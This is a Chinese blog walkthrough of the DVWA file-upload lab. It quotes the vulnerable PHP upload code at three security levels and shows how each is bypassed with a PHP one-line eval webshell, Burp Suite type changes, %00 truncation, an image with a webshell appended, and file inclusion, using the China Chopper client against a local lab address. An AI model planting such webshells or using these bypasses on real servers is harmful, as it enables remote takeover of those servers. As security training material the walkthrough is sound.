• DVWA--File Upload(文件上传)+中国菜刀下载及使用


    File Upload

    File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,简单来说文件上传是指攻击者通过上传可执行脚本功能,从而获取服务器端可执行命令的权限


     

    本次实验需要用到中国菜刀 ,所以我们要先下载这个软件,提供一个下载地址:

    http://xiazai.zol.com.cn/detail/44/438518.shtml#comment,友情小提示:点下图红框框这里,别点上面的高速要不然它会先自动给你下载个加速器,电信下载就好了,软件很小只


    Low

    代码分析:在上传文件时,服务器对上传文件的类型、内容没有做任何的检查、过滤,存在明显的文件上传漏洞,并且生成上传路径后,服务器会检查是否上传成功并返回相应提示信息。

    文件上传漏洞限制条件:

    • 能够成功上传木马文件
    • 上传文件必须能够被执行
    • 上传文件的路径必须可知
    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    
    ?> 

    先整一个php版本的一句话木马,注意要是php类型的

     上传

     我们可以发现,上传成功,并返回了服务器的上传路径,如下图:

    在中国菜刀右键——添加——输入shell地址:http://192.168.29.76/DVWA-master/hackable/uploads/mua.php(这个shell地址是怎么来的:浏览器里你上传完这个文件,看上面地址,vulnerabilities/upload/#的前面两个也就是自己的IP和DVWA-master,有的人是dvwa,加上服务器上传路径hackable/uploads/mua.php),红框是刚才php文件里POST后面的密码

    添加成功

     可以下载、修改服务器的所有文件

     还可以打开终端


    Medium

     代码分析:函数对上传文件的类型和大小作了限制,类型必须是image/jpeg或者image/png,且上传文件大小不能超过100000B(大约等于97.6KB)

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    
        // Is it an image?
        if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
            ( $uploaded_size < 100000 ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?

    一、文件上传+文件包含:

    首先我们把刚才的php文件修改为png类型,上传,成功

     现在直接去菜刀肯定连接不上,因为菜刀解析不了png类型的文件

    这时就要开始文件包含的操作,在菜刀的添加地址栏中输入:http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=hthttp://tp://192.168.29.76/DVWA-master/hackable/uploads/mua.png

     理论上就可以拿到web shell,但我尝试多次没有连接成功QAQ(咱也不知道为什么,据说是平台原因)

     二、利用burpsuite

    上传文件,抓包,把这里改成mua.php

     上传文件,成功

     上菜刀进行连接

     三、截断绕过

    php版本小于5.3.4的服务器中,当Magic_quote_gpc选项为off(在php.ini里找)时,可以在文件名中使用%00截断

    即可以把上传文件命名为hack.php%00.png,上传,抓包,可以看到类型符合要求,并且上传成功

    此时菜刀再连接就可以了

    然而我为什么没有做呢。。。因为我php版本大于5.3.4


    High 

    代码分析:

    增加了strrpos()函数和getimagesize()函数,从源码中发现对文件上传的格式做了更加严格的限制,要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”其中之一,而且限制了上传文件的文件头必须为图像类型。

    strrpos() 函数:查找字符串在另一字符串中最后一次出现的位置。在这里是从文件名中找到含"."的字符

    getimagesize()函数:用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

    <?php
    
    if( isset( $_POST[ 'Upload' ] ) ) {
        // Where are we going to be writing to?
        $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
        $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
    
        // File information
        $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
        $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
        $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
    
        // Is it an image?
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
            ( $uploaded_size < 100000 ) &&
            getimagesize( $uploaded_tmp ) ) {
    
            // Can we move the file to the upload folder?
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
                // No
                echo '<pre>Your image was not uploaded.</pre>';
            }
            else {
                // Yes!
                echo "<pre>{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            // Invalid file
            echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
        }
    }
    
    ?> 

    我们需要进行操作,将一句话木马文件与图片合并成一个图片类型的文件,具体如下:

    先把图片文件改后缀名整成txt类型

     

    打开这个txt文件,在最后加入一句话木马(<?php @eval($_POST['jyx']); ?> )

    再改回jpg类型文件

    上传,成功,连接菜刀

    http://192.168.29.76/DVWA-master/vulnerabilities/fi/?page=file:///C:/Users/Administrator/Desktop/mua.JPEG

  • 相关阅读:
    区块链入门
    上海美食餐厅
    《OD学hadoop》20160910某旅游网项目实战
    《OD学hadoop》20160904某旅游网项目实战
    《OD学hadoop》20160903某旅游网项目实战
    qt5-自定义类
    qt5-Qt Creator使用
    qt5-QPushButton按钮
    qt5-工程文件的介绍--快捷键
    电路分析-电阻
  • 原文地址:https://www.cnblogs.com/ApricityJ/p/12629270.html
Copyright © 2020-2023  润新知